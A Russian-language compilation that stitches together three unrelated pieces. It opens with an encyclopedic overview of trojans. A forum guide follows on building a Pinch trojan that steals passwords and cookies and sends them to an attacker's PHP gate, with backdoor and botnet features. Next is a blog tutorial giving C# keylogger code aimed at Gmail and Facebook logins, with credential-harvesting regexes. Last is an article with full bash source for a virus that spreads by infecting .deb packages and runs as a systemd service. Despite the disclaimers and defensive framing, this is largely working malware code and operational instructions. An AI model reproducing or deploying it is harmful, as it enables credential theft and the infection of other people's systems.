Троян
Троян — вредоносное программное обеспечение, которое скрывает истинную цель своей деятельности с помощью маскировки. Однако, в отличие от вируса, он не способен самостоятельно копировать или заражать файлы. Чтобы проникнуть на устройство жертвы, угроза использует другие средства, такие как загрузка с диска, использование уязвимостей, загрузка другим вредоносным кодом или методы социальной инженерии.
Что такое троян?
Подобно троянскому коню, известному из древнегреческих мифов, троян использует маскировку или неправильное перенаправление, чтобы скрыть свою истинную функцию. Чтобы ввести пользователя в заблуждение и заставить его открыть вредоносный файл, угроза часто использует различные методы. Для этих целей троян также может использовать другие программы.
Сегодня трояны являются наиболее распространенной категорией угроз, которая используется для открытия бэкдоров, контроля зараженного устройства, удаления данных пользователя и передачи их злоумышленникам, загрузки и запуска других вредоносных программ в определенной системе и других целей.

Краткая история
Название «троян» происходит от классического античного мифа об успешном завоевании греками города Троя. Чтобы пройти через защитные сооружения и попасть в город, завоеватели построили большого деревянного коня, внутри которого спрятали группу своих лучших воинов. Грекам удалось обмануть троянцев, которые обрадовались такому неожиданному подарку и втянули коня в город, начав праздновать. Воины, которые были внутри троянского коня, дождались глубокой ночи и захватили город.
Впервые термин «троян» был использован в ссылке на вредоносный код в отчете ВВС США 1974 року, который сосредоточен на анализе уязвимостей компьютерных систем. Тем не менее, термин стал популярным в 1980-х, особенно после лекции Кена Томпсон на награждении ACM Turing Awards 1983 года.
Известные примеры
Одним из первых известных троянов, была программа-вымогатель, обнаруженная в реальной среде — AIDS Trojan 1989 года. Этот вредоносный код распространился через тысячи дискет, содержащих интерактивную базу данных о СПИДе. Установленная программа ждала 90 циклов загрузки, после чего шифровала большинство имен файлов в корневом каталоге машины. Программа требовала от потерпевших отправить $189 или $378 на почтовый ящик в Панаме, чтобы вернуть свои данные.
Узнать больше
Еще один пример троянской программы — известная шпионская программа FinFisher (FinSpy). Угроза обладает расширенными возможностями для шпионажа и незаконным использованием веб-камер, микрофонов, отслеживания нажатий клавиатуры, а также способностью удалять файлы. Разработчики этой шпионской программы продавали ее как инструмент для правоохранительных органов, но, считается, что программу использовали и репрессивные режимы. Чтобы скрыть свою истинную цель, FinFisher использует различные способы маскировки. В одной из своих кампаний, выявленных компанией ESET, она устанавливалась как инсталлятор для популярных и законных программ, таких как браузеры и медиа-плееры. Программа также распространялся через электронную почту с поддельными вложениями или поддельными обновлениями программного обеспечения.
Однако трояны не являются угрозой исключительно для компьютеров или ноутбуков. Под прицелом также большая часть современного мобильного вредоносного программного обеспечения, направленного на устройства Android. Примером может быть DoubleLocker — инновационное семейство вредоносных программ, замаскированное под обновление Adobe Flash Player. Угроза проникала на мобильное устройство с помощью служб специальных возможностей, шифровала данные и блокировала экран устройства с помощью случайного PIN-кода. Впоследствии злоумышленники требовали выкуп в Bitcoin для разблокировки устройства и данных.
Как написать троянский вирус
Люди .
Сейчас я вам расскажу как создать свой Троянский вирус (практически свой) !
Что вам нужно:
мозги-1шт., компьютер-1шт., доступ в инет-1шт., Pinch (билдер)-1шт., сервер (для отчётов Трояна)-1шт., Парсер (для расшифровывания отчётов).
Теперь как всегда краткая история.
Трояны
.. о них знали ещё 33 века назад
В 12 веке до н.э. Греция объявила войну городу Трое.
Конфликт возник, когда троянский принц похитил царицу Спарты Елену и объявил, что хочет сделать её своей женой. Это, естественно, обозлило греков, особенно царя Спарты. Греки осадили Трою на 10 лет, но безуспешно, т.к. Троя была хорошо укреплена.
В последнем усилии греческая армия сделала вид, что отступает и оставила позади огромного деревянного коня. Троянцы увидели коня и, подумав, что это подарок от греков, затащили коня в город, не догадываясь, что внутри пустого деревянного коня сидели лучшие греческие солдаты.
Под покровом ночи солдаты выбрались наружу, открыли ворота города и позже вместе с оставшейся армией перебили всю троянскую армию. Подобно деревянному коню, программа
Троянский конь притворяется, что делает одно, а на самом деле делает совершенно другое.
Алексей Демченко — Русский Кул Хацкер известен ещё как «aka coban2k»
Автор множества программ, а его лучшей (на мой взгляд) программой есть ПИНЧь самый распространенный Троян в интернете ! Знает много языков программирования в частности: С++, Pascal, Delphi, MySQL, PHP, XML и многие другие. А вообще советую зайти на его личный сайт To view links in this forum your post count must be 1 or greater. Your post count is 0 momentarily., там найдете небольшую инфу о нем.
В частности мы рассматриваем программу ПИНЧь (Pinch 2.58)
Pinch 2.58 – это Билдер, компилятор троянских виросов… т.к. вы в билдоре задоёти определенный функции Трояну… например: украсть пороли от ICQ, TheBat, FAT, Куки браузера (это самое популярное).
НО это и не всё Pinch может также: создать/отредактировать определенный параметр в Реестре, удалить сам себя после завершения работы, создать «Синий экран смерти», или ещё лучше создать сервер (консоль) на компе жертвы (BackDoor), после чего комп жертвы это ваша собственность (в прямом смысле слова). Вы можете совершать DDOS атаки через его комп через его IP адрес, и сохранять в этот момент совой анонимный суверенитет.
Только не думайте что вашем распоряжение может быть всего один комп. У вас их может быть столько сколько вы за хотите, но это уже называется БотНет (BotNet)…
Ну вот и всё, пожалуй начнем…
Как из себя выглядит Билдер Pinch`a смотрим ниже:
[IMG]********furum-sonic-cool.jino-net.ru/1/bal.jpg[/IMG]
Рисунок 1.1
Добавлено через 55 секунд
Теперь объясняю принцип работы Трояна…
1. Вы можете скомпилировать Троян так чтобы отчёты приходили на указанный вами Е-маил. Но вас могут спалить (тоесть ваш Троян) т.к. у вашей жертвы может стоят SP2 (Windows XP Service Pack 2)) значит и ФаирВол имеется… ФаирВол не за что не включит (без вашего разрешения) 25 порт (SMTP) значит ваш Трои не сможет отправить отчёт жертвы на Е-маил. (на такие известные почтовики как mail.ru yandex.ru и т.д. отчёты не приходят) Пользуйтесь почтовиком To view links in this forum your post count must be 1 or greater. Your post count is 0 momentarily. Но всё равно я не советую пользоваться SMTP !
2. Вы можете скомпилировать троян так чтобы отчёты приходили на указанный вами сервер.
Это безопаснее т.к. в момент отправки отчёта Pinch проявляет себя как:
Имя процесса: iexplorer.exe
Протокол: http
Удаленный адрес: To view links in this forum your post count must be 1 or greater. Your post count is 0 momentarily.
ФаирВол не может воспрепятствовать процессу «iexplorer.exe» (а если бы и мог то вы бы на мониторе своего компа НЕ ВИДИЛИ бы не чего (кроме картинки рабочего стола))
Протокол: ******** значит и порт «80» (БЕС КОММЕНТАРИЕВ)
Так, сегодня мы будем рассматривать «2-ое» я уже говорил да (?) что это лучше.
Посмотрим ещё рас на Билдер >>>
[IMG]********furum-sonic-cool.jino-net.ru/1/bal.jpg[/IMG]
Рисунок 1.1
1. Нажмите на вкладку «HTTP» вы берите протокол «HTTP».
2. В поле URL ведите адрес своего сайта (сервера) например: To view links in this forum your post count must be 1 or greater. Your post count is 0 momentarily.
На этом мы остоновимя поподробнее…
Чтобы Pinch прислал вам отчёты по ******** вам нужен сервер (давайте это называть проще «сайт») и так вам нужен сайт НА КОТОРОМ ДОЛЖНЫ ОБЕЗАТЕЛЬНО РАБОТАТЬ PHP СКРИПТЫ . Самый лучший из них это To view links in this forum your post count must be 1 or greater. Your post count is 0 momentarily.
Правда я говорил, что есть ещё и To view links in this forum your post count must be 1 or greater. Your post count is 0 momentarily. ноооо сервер уничтожен.
Продолжим…
Так вот регистрируетесь на To view links in this forum your post count must be 1 or greater. Your post count is 0 momentarily. под любым доменом под любым паролём J).
Зарегистрировались ?
Думаю да…
Продолжим…
Допустим вы зарегистрировались под доменом To view links in this forum your post count must be 1 or greater. Your post count is 0 momentarily.
Заходим на FTP вашего сайта. Вы знайте что такое FTP ? Эхххх… Придётся рассказать, так как вспоминаю себя…
FTP – это содержимое вашего сайта… тоесть по протоколу FTP (21 порт) вы попадайте в корень своего сайта где содержатся разные каталоги/папки/файлы и т.д.
Идём в Google.ru и качаем программу «CuteFTP»… Пожалуй я сделаю это за вас.
Идём сюда >>>
To view links in this forum your post count must be 1 or greater. Your post count is 0 momentarily.
Мене так больше нравится 4-ая ссылка.
Скачать CuteFTP 7.1 + Русификатор
Идём >>>
To view links in this forum your post count must be 1 or greater. Your post count is 0 momentarily.
Думаю дальше вы сообразите как скачать программу и как её установить.
Добавлено через 1 минуту
Скачали, установили, русифицировали… всё продолжим…
Теперь зайдите на FTP своего сайта. Зайдите в папку /docs/ создайте в этой папке любую папку например «mail_p» дайте этой папке права CHMOD 777 (нажмите правой кнопкой мыши на папку в контекстном меню найдите параметр «CHMOD» или «Свойства» в разных версиях программы CuteFTP разный перевод)
Теперь залейте гет в эту папку (mail_p). Что такое гет ?
«Гет» этот cкрипт гейта для приема отчетов от пинча имеет расширение «.php»
Его можно взять сдеся >>>
To view links in this forum your post count must be 1 or greater. Your post count is 0 momentarily.
Создайте у себя на компе текстовый файл «Блокнот» скопируйте вес текст гейта
To view links in this forum your post count must be 1 or greater. Your post count is 0 momentarily. >> дайте расширение текстовому файлу .php (был раньше .txt)
Всё скрипт готов переименуйте его в «mail» залейте его на FTP своего сайта в папку /docs/mail_p/
И дайте CHMOD права этому файлу 777.
Запомните это место теперь сюда в эту папку где находится гет (/docs/mail_p/) будут приходить отчёты.
Так пишем в поле URL (в билдере если вы не забыли ещё)
To view links in this forum your post count must be 1 or greater. Your post count is 0 momentarily. (у вас свой адрес)
[IMG]********furum-sonic-cool.jino-net.ru/1/bal1.jpg[/IMG]
Рисунок 1.2
Сделайте все флажки как у меня на рисунке 1.2
Не делайте флажок над параметром «Opera» а то отчёт не расшифруется (читаем ниже).
Можно уже компилировать… но мы рассмотрим ещё и другие дополнительный (хотя они иногда даже обязательные) функции…
Вкладка «PWD» мы уже знаем что такое [IMG]*************nulled.ws/images/Animated/ab.gif[/IMG])
Вкладка «Run» для эмммм скажем так для одоренния интеллекта Pinch`a тоесть для само удаления, для сохранения своих .dll в Windows`e и многое другое.
Вкладка «Spy». Отослать скриншот монитора жертвы, для сохранения КейЛога IE и т.д.
Вкладка «NET» для консольных команд PHP notify/ Остальное незнаю…
Вкладка «BD» любимый БегДор не разу не пользовался именно от Pinch`a…
Вкладка «etc» для сжатия Трояна, для изменения иконки троя.
Вкладка «Kill» для уничтожения каких-либо процессов (например ФаирВол)
Вкладка «IE» управление IE, добавление сайта в избранное, переход по ссылке.
Вкладка «Worm» незнаю… что то связанос ДНСеками.
Вкладка «IRC-bot» нууу вообщем эт для боттрака. БОТНЕТ рулит [IMG]*************nulled.ws/images/Animated/ab.gif[/IMG]) .
Возвращаемся во вкладку PWD и нажимаем кнопку (внизу) «COMPILE»
УРА . ТРОЯН ГОТОВ .
Уважаемые друзья. Данная информация носит лишь ознакомительный характер, администрация опубликовала данный материла лишь в целях ознакомления. Данный материал не в коем случае нельзя считать инструкцией к каим либо действиям.
Помните что нарушение закона карается статьями Ук Рф. Будьте внимательны, и не используйте данноую статью во вред другим.
Пишем свое вредоносное ПО. Часть 1: Учимся писать полностью «не обнаружимый» кейлогер
Хакерский мир можно условно разделить на три группы атакующих:
1) «Skids» (script kiddies) – малыши, начинающие хакеры, которые собирают известные куски кода и утилиты и используя их создают какое-то простое вредоносное ПО.
2) «Byuers» — не чистые на руку предприниматели, тинэйджеры и прочие любители острых ощущений. Покупают услуги по написанию такого ПО в интернете, собирают с ее помощью различную приватную информацию, и, возможно, перепродают ее.
3) «Black Hat Сoders» — гуру программирования и знатоки архитектур. Пишут код в блокноте и разрабатывают новые эксплоиты с нуля.
Может ли кто-то с хорошими навыками в программировании стать последним? Не думаю, что вы начнете создавать что-то, на подобии regin (ссылка) после посещения нескольких сессий DEFCON. С другой стороны, я считаю, что сотрудник ИБ должен освоить некоторые концепты, на которых строится вредоносное ПО.
Зачем ИБ-персоналу эти сомнительные навыки?
Знай своего врага. Как мы уже обсуждали в блоге Inside Out, нужно думать как нарушитель, чтобы его остановить. Я – специалист по информационной безопасности в Varonis и по моему опыту – вы будете сильнее в этом ремесле если будете понимать, какие ходы будет делать нарушитель. Поэтому я решил начать серию постов о деталях, которые лежат в основе вредоносного ПО и различных семействах хакерских утилит. После того, как вы поймете насколько просто создать не детектируемое ПО, вы, возможно, захотите пересмотреть политики безопасности на вашем предприятии. Теперь более подробно.
Для этого неформального класса «hacking 101» вам необходимы небольшие знания в программировании (С# и java) и базовое понимание архитектуры Windows. Имейте ввиду, что в реальности вредоносное ПО пишется на C/C++/Delphi, чтобы не зависеть от фреймфорков.
Кейлогер – это ПО или некое физическое устройство, которое может перехватывать и запоминать нажатия клавиш на скомпрометированной машине. Это можно представить как цифровую ловушку для каждого нажатия на клавиши клавиатуры.
Зачастую эту функцию внедряют в другое, более сложное ПО, например, троянов (Remote Access Trojans RATS), которые обеспечивают доставку перехваченных данных обратно, к атакующему. Также существуют аппаратные кейлогеры, но они менее распространены, т.к. требуют непосредственного физического доступа к машине.
Тем не менее создать базовые функции кейлогера достаточно легко запрограммировать. ПРЕДУПРЕЖДЕНИЕ. Если вы хотите попробовать что-то из ниже следующего, убедитесь, что у вас есть разрешения, и вы не несёте вреда существующей среде, а лучше всего делать это все на изолированной ВМ. Далее, данный код не будет оптимизирован, я всего лишь покажу вам строки кода, которые могут выполнить поставленную задачу, это не самый элегантный или оптимальный путь. Ну и наконец, я не буду рассказывать как сделать кейлогер стойким к перезагрузкам или пытаться сделать его абсолютно не обнаружимым благодаря особым техникам программирования, так же как и о защите от удаления, даже если его обнаружили.
Для подключения к клавиатуре вам всего лишь нужно использовать 2 строки на C#:
1. [DllImport("user32.dll")] 2. 3. public static extern int GetAsyncKeyState(Int32 i);
Вы можете изучить больше про фунцию GetAsyncKeyState на MSDN:
Для понимания: эта функция определяет нажата клавиш или отжата в момент вызова и была ли нажата после предыдущего вызова. Теперь постоянно вызываем эту функцию, чтобы получать данные с клавиатуры:
1. while (true) 2. < 3. Thread.Sleep(100); 4. for (Int32 i = 0; i < 255; i++) 5. < 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. < 9. Console.WriteLine((Keys)i); 10. 11. >12. > 13. >
Что здесь происходит? Этот цикл будет опрашивать каждые 100 мс каждую из клавиш для определения ее состояния. Если одна из них нажата (или была нажата), сообщение об этом будет выведено на консоль. В реальной жизни эти данные буферизируются и отправляются злоумышленнику.
Умный кейлогер
Погодите, а есть ли смысл пытаться снимать всю подряд информацию со всех приложений?
Код выше тянет сырой ввод с клавиатуры с любого окна и поля ввода, на котором сейчас фокус. Если ваша цель – номера кредитных карт и пароли, то такой подход не очень эффективен. Для сценариев из реального мира, когда такие кейлогеры выполняются на сотнях или тысячах машин, последующий парсинг данных может стать очень долгим и по итогу потерять смысл, т.к. ценная для взломщика информация может к тому времени устареть.
Давайте предположим, что я хочу заполучить учетные данные Facebook или Gmail для последующей продажи лайков. Тогда новая идея – активировать кейлоггинг только тогда, когда активно окно браузера и в заголовке страницы есть слово Gmail или facebook. Используя такой метод я увеличиваю шансы получения учетных данных.
Вторая версия кода:
1. while (true) 2. < 3. IntPtr handle = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) >0) 5. < 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - Log In or Sign Up ")) 8. < 9. //проверка клавиатуры 10. >11. > 12. Thread.Sleep(100); 13. >
Этот фрагмент будет выявлять активное окно каждые 100мс. Делается это с помощью функции GetForegroundWindow (больше информации на MSDN). Заголовок страницы хранится в переменной buff, если в ней содержится gmail или facebook, то вызывается фрагмент сканирования клавиатуры.
Этим мы обеспечили сканирование клавиатуры только когда открыто окно браузера на сайтах facebook и gmail.
Еще более умный кейлогер
Давайте предположим, что злоумышленник смог получить данные кодом, на подобии нашего. Так же предположим, что он достаточно амбициозен и смог заразить десятки или сотни тысяч машин. Результат: огромный файл с гигабайтами текста, в которых нужную информацию еще нужно найти. Самое время познакомиться с регулярными выражениями или regex. Это что-то на подобии мини языка для составления неких шаблонов и сканирования текста на соответствие заданным шаблонам. Вы можете узнать больше здесь.
Для упрощения, я сразу приведу готовые выражения, которые соответствуют именам логина и паролям:
1. //Ищем почтовый адрес 2. ^[\w!#$%&'*+\-/=?\^_`<|>~]+(\.[\w!#$%&'*+\-/=?\^_`<|>~]+)*@((([\-\w]+\.)+[a-zA-Z])|(([0-9]\.)[0-9]))$ 3. 4. 5. //Ищем пароль 6. (?=^.$)(?=.*\d)(?=.*[a-zA-Z])
Эти выражения здесь как подсказка тому, что можно сделать используя их. С помощью регулярных выражений можно искать (т найти!) любые конструкции, которые имеют определенный и неизменный формат, например, номера паспортов, кредитных карт, учетные записи и даже пароли.
Действительно, регулярные выражения не самый читаемый вид кода, но они одни из лучших друзей программиста, если есть задачи парсинга текста. В языках Java, C#, JavaScript и других популярных уже есть готовые функции, в которые вы можете передать обычные регулярные выражения.
Для C# это выглядит так:
1. Regex re = new Regex(@"^[\w!#$%&'*+\-/=?\^_`<|>~]+(\.[\w!#$%&'*+\-/=?\^_`<|>~]+)*@((([\-\w]+\.)+[a-zA-Z])|(([0-9]\.)[0-9]))$"); 2. Regex re2 = new Regex(@"(?=^.$)(?=.*\d)(?=.*[a-zA-Z])"); 3. string email = "Oded.awask@gmail.com"; 4. string pass = "abcde3FG"; 5. Match result = re.Match(email); 6. Match result2 = re2.Match(pass);
Где первое выражение (re) будет соответствовать любой электронной почте, а второе (re2) любой цифро буквенной конструкции больше 6 символов.
Бесплатно и полностью не обнаружим
В своем примере я использовал Visual Studio – вы можете использовать свое любимое окружение – для создания такого кейлогера за 30 минут.
Если бы я был реальным злоумышленником, то я бы целился на какую-то реальную цель (банковские сайты, соцсети, тп) и видоизменил код для соответствия этим целям. Конечно, также, я запустил бы фишинговую кампанию с электронными письмами с нашей программой, под видом обычного счета или другого вложения.
Остался один вопрос: действительно такое ПО будет не обнаруживаемым для защитных программ?
Я скомпилировал мой код и проверил exe файл на сайте Virustotal. Это веб-инструмент, который вычисляет хеш файла, который вы загрузили и ищет его в базе данных известных вирусов. Сюрприз! Естественно ничего не нашлось.

В этом основная фишка! Вы всегда можете менять код и развиваться, будучи всегда на несколько шагов раньше сканеров угроз. Если вы в состоянии написать свой собственный код он почти гарантированно будет не обнаружим. На этой странице вы можете ознакомиться с полным анализом.
Основная цель этой статьи – показать, что используя одни только антивирусы вы не сможете полностью обеспечить безопасность на предприятии. Нужен более глубинная оценка действий всех пользователей и даже сервисов, чтобы выявить потенциально вредоносные действия.
В следующих статья я покажу, как сделать действительно не обнаружимую версию такого ПО.
- Varonis
- неструктурированные данные
- вредоносное по
- информационная безопасность
Троянский пингвин: Делаем вирус для Linux
Нет, я не собираюсь рассказывать, как написать своего шифровальщика-вымогателя, майнера или эксплуатировать супер-новую уязвимость, как вы могли подумать. И тем более я не горю желанием поднимать холивар «Linux безопаснее Windows?(да)». Моей целью было написание простого вируса для linux, некого, так сказать, «Just for Fun», единственной функцией которого является распространение своей копии. О том, что у меня получилось, я расскажу в этой статье. В конце я приведу ссылку на GitHub с исходниками.
Дисклеймер
Данная статья написана в ознакомительных целях. Автор ни в коем случае не призывает читателей к нарушению законодательства РФ. Пожалуйста, не повторяйте действия, описанные в данной статье, предварительно не ознакомившись с главой 28 УК РФ.
И что мы, собственно, будем делать?
Самым простым в реализации механизмом распространения вируса для меня показалось распространение через модифицированные deb/rpm пакеты. Пакеты формата deb и rpm сейчас являются наиболее популярным средством распространения по для Linux. Я остановил свой выбор на формате deb, так как количество пользователей Debian-based дистрибутивов преобладает над пользователями Red Hat и ее «последователей».
Еще необходимо, чтобы вирус автоматически запускался, и через каждый определенный период времени сканировал компьютер в поисках deb-пакетов. Для удобства отладки я выбрал период равный 10 минутам.
Что такое deb-пакет?
Deb-пакет представляет из себя архив формата .ar, который не использует сжатие. Внутри архива еще три файла: debian-bynary, control.tar и data.tar
debian.binary — текстовый файл, содержащий версию формата deb-пакета, на данный момент там всегда пишут «2.0».
control.tar — архив с файлами, содержащими информацию о пакете (например — обязательный файл control) и пакеты, необходимые для установки пакета (например — скрипты preinst, postinst, prerm и postrm, запускаемые до/после установки/удаления пакета). Может быть сжат с помощью gzip или xz, в таком случае к имени архива добавляется расширение .gz или .xz соответственно.
data.tar — архив с директориями, содержащими устанавливаемые файлы. Директории представлены деревом, в виде которого они должны извлечься в корень файловой системы. Может быть сжат с помощью gzip, bzip2, lzma, xz.
Нам необходимо обратить внимание на файл control из архива control.tar. Этот файл содержит информацию о пакете, такую как автор, описание, версию, приоритет пакета в системе и т. д. Меня интересует поле depends, в котором указаны зависимости (пакеты, без которых по из данного пакета не может работать). В это поле наш вирус будет дописывать fakeroot и dpkg — утилиты, которые понадобятся при модификации других пакетов на зараженном компьютере.
Для сборки deb-пакета создается корневая директория пакета. В нее кладутся директории с устанавливаемыми файлами и директория DEBIAN, содержащую служебные файлы, среди которых control и скрипты для установки/удаления. Затем выполняется команда fakeroot dpkg-deb —build ./path.
Сначала был демон
На момент написания вируса я еще плохо представлял, что такое Cron, и поэтому пошел путем написания собственного демона для systemd. Я создал файл trojan_penguin.service, который будет помещаться в директорию /lib/systemd/system, и добавил в нее следующее:
[Unit] Description = XXX [Service] ExecStart=/usr/bin/trojan_penguin.sh Type=fork [Install] WantedBy=multi-user.target
ExecStart=/usr/bin/trojan_penguin.sh — тут я указал путь к файлу (к будущему вирусу), который должен запускаться при старте системы.
Type=fork — это строка показывает, что процесс должен ответвиться от родительского процесса.
Я не видел необходимости в PID-файле, по этому я не стал его добавлять.
В мануалах по написанию своего демона фалы .service предлагается размещать в директориях /usr/lib/systemd/system/ или /etc/systemd/system/. Но я в своей убунте нашел директорию /lib/systemd/system. (у меня туда попал apache2.service). Может быть кто-нибудь в комментариях напишет, для чего нужна эта директория, и чем она отличается от двух других.
Файл /usr/bin/trojan_penguin.sh у меня получился таким:
#!/bin/bash #debug=". /Programming/projects/TrojanPenguin" debug="" #создаем папку для записи логов, если таковой нет if ! [ -d $debug/var/log/trojan_penguin/ ]; then mkdir $debug/var/log/trojan_penguin fi #работаем в бесконечном цикле, #делая паузы по 10 минут while [ 1 ] do list=$(find /home -name "*.deb") #ищем deb-пакеты # для каждого найденного пакета выполняем следующий цикл for line in $list do $debug/usr/bin/tp_infect.sh $line >> $debug/var/log/trojan_penguin/log #запускаем цикл, модифицирующий пакет, а логи записываем в файл log done date > $debug/var/log/trojan_penguin/last_start #записываем время последней отработки вируса (мне это помогло во время отладки) sleep 600 #пауза (60 * 10 сек = 10 мин) done
Мы ищем deb-пакеты в разделе /home (а где их еще искать то?), пути к найденным файлам записываем в переменную list. Потом просто перебираем все строки из line и для каждого файла запускаем скрипт tp_infect.sh, который заразит этот файл. Когда я писал вирус, скрипты находились в отдельной директории, и для удобства я создал переменную debug, в которой я прописал путь к этой папке.
Демон готов, осталось научиться его запускать при старте системы. Для этого я написал скрипт postinstall. Он будет запускаться сразу после установки зараженного пакета и указывать, чтобы наш вирус запускался вместе с системой. Разместил я его в директории «/usr/bin/», чтобы от туда копировать его в заражаемые пакеты.
#!/bin/bash #debug="/home/dima/Dropbox/Programming/projects/TrojanPenguin/TrojanPenguin" debug="" systemctl daemon-reload #не знаю почему, но без этой команды демон у меня иногда отказывался работать systemctl enable trojan_penguin.service #включаем автозапуск вместе с системой systemctl start trojan_penguin.service #запускаем демон
Модифицируем deb-пакет
Как я писал выше, архивы, содержащиеся в deb-пакете могут иметь разные разрешения. Я не стал заморачиваться, и рассмотрел только тот случай, когда архивы сжаты с помощью .xz. Файл /usr/bin/tp_infect.sh, отвечающий за модификацию, получил такое содержимое:
#!/bin/bash #debug=". /Programming/projects/TrojanPenguin" debug="" temp="$debug/tmp/trojan_penguin" #создаем временные папки mkdir $temp mkdir $temp/new mkdir $temp/new/DEBIAN #распакуем пакет ar -p $1 data.tar.xz | tar -xJ -C $temp/new ar -p $1 control.tar.xz | tar -xJ -C $temp/new/DEBIAN/ #отредактируем control #в новый control копируем все поля до "Deepends", затем копируем поле "Deepends", дописывая наши зависимости, после чего добавляем оставшиеся поля. cp $temp/new/DEBIAN/control $temp/orig_control cat $temp/orig_control | grep --before-context=100 Depends | grep -v Depends > $temp/new/DEBIAN/control cat $temp/orig_control | grep Depends | tr -d '\r\n' >> $temp/new/DEBIAN/control echo ", fakeroot, python" >> $temp/new/DEBIAN/control cat $temp/orig_control | grep --after-context=100 Depends | grep -v Depends >> $temp/new/DEBIAN/control #скормим пакету наш постинстал cp $debug/usr/bin/tp_postinst.sh $temp/new/DEBIAN/postinst #достроим дерево с нужными нам директориями, если таковых нет if ! [ -d $temp/new/usr ]; then mkdir $temp/new/usr fi if ! [ -d $temp/new/usr/bin ]; then mkdir $temp/new/usr/bin fi if ! [ -d $temp/new/lib ]; then mkdir $temp/new/lib fi if ! [ -d $temp/new/lib/systemd ]; then mkdir $temp/new/lib/systemd fi if ! [ -d $temp/new/lib/systemd/system ]; then mkdir $temp/new/lib/systemd/system fi #копируем наши файлы cp $debug/usr/bin/trojan_penguin.sh $temp/new/usr/bin/trojan_penguin.sh cp $debug/usr/bin/tp_infect.sh $temp/new/usr/bin/tp_infect.sh cp $debug/usr/bin/tp_postinst.sh $temp/new/usr/bin/tp_postinst.sh cp $debug/lib/systemd/system/trojan_penguin.service $temp/new/lib/systemd/system/ #Собираем пакет, перемещаем его на место старого и удаляем папку, в которой мы работали. fakeroot dpkg-deb --build $temp/new cp $temp/new.deb $1 rm -R $temp
Проблемы с postinstall
Все бы хорошо, но теперь у нас проблема. А что если в пакете уже есть postinstal? Оригинальный postinstal может быть написан на разных языках (python, bash. ), может это даже бинарник. Это не позволят нам просто взять и дописать свой postinstall в него. Я решил эту проблему следующим образом:
Добавил в скрипт tp_infect.sh такую вещь:
#Проверяем, есть ли в пакете postinstal. Если да, то копируем его в другое место. if [ -f $temp/new/usr/bin/postinst ]; then cp $temp/new/DEBIAN/postinst $debug/usr/bin/tp_orig_postinst fi
А в postinstal вот это:
#выполняем оригинальный постинстал и удаляем его if [ -f $debug/usr/bin/tp_orig_postinst ]; then $debug/usr/bin/tp_orig_postinst rm $debug/usr/bin/tp_orig_postinst fi
Одну проблему я решил, но появилась другая. Наш вирус будет модифицировать пакет, даже если он уже заражен. При модификации вирус увидит, что в пакете есть postinstal (который на самом деле наш), переместит его в /usr/bin/, тем самым перезаписав оригинал. Чтобы этого избежать, я добавил проверку в «tp_infect.sh», модифицировали мы этот файл или нет:
if [ -f $temp/new/usr/bin/trojan_penguin.sh ]; then rm -R $temp exit 0 fi
Собираем воедино
Вирус готов. Вот ссылка на GitHub, как и обещал. Этот вирус можно собрать в отдельный deb-пакет (запустите makedeb.sh) из репозитория. Чтобы внедрить вирус в какой-либо пакет, достаточно выполнить команду:
tp_infect.sh /путь заражаемому deb-пакету/
В репозитории есть две копии скрипта postinst
DEBIAN/postinst — эта копия выполняется только при установке пустого пакета с вирусом. Я его закомментировал, чтобы вирус не запускался после установки, а модивиццировал пакеты только по команде.
usr/bin/postinst — это копия вставляется в заражаемые пакеты.
Итог
А вывод очевиден и без этой статьи: не стоит скачивать и запускать программы из непроверенных источников.
Ради любопытства, я отправил deb-пакет с вирусом на VirusTotal для анализа. На момент написания статьи ни один антивирус не задетектировал его. Вот ссылка на отчет. Интересно, сколько должно пройти времени, и сколько хостов нужно заразить этим вирусом, чтобы антивирусы обратили на него внимание?
Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
В интернете очень мало информации о вирусах для Linux систем, а в частности для семейства linux. Я хочу развить эту тему на Хабре в виде серии из нескольких статей. Прошу, ответить на опрос: какие из тем по вашему мнению являются наиболее интересными?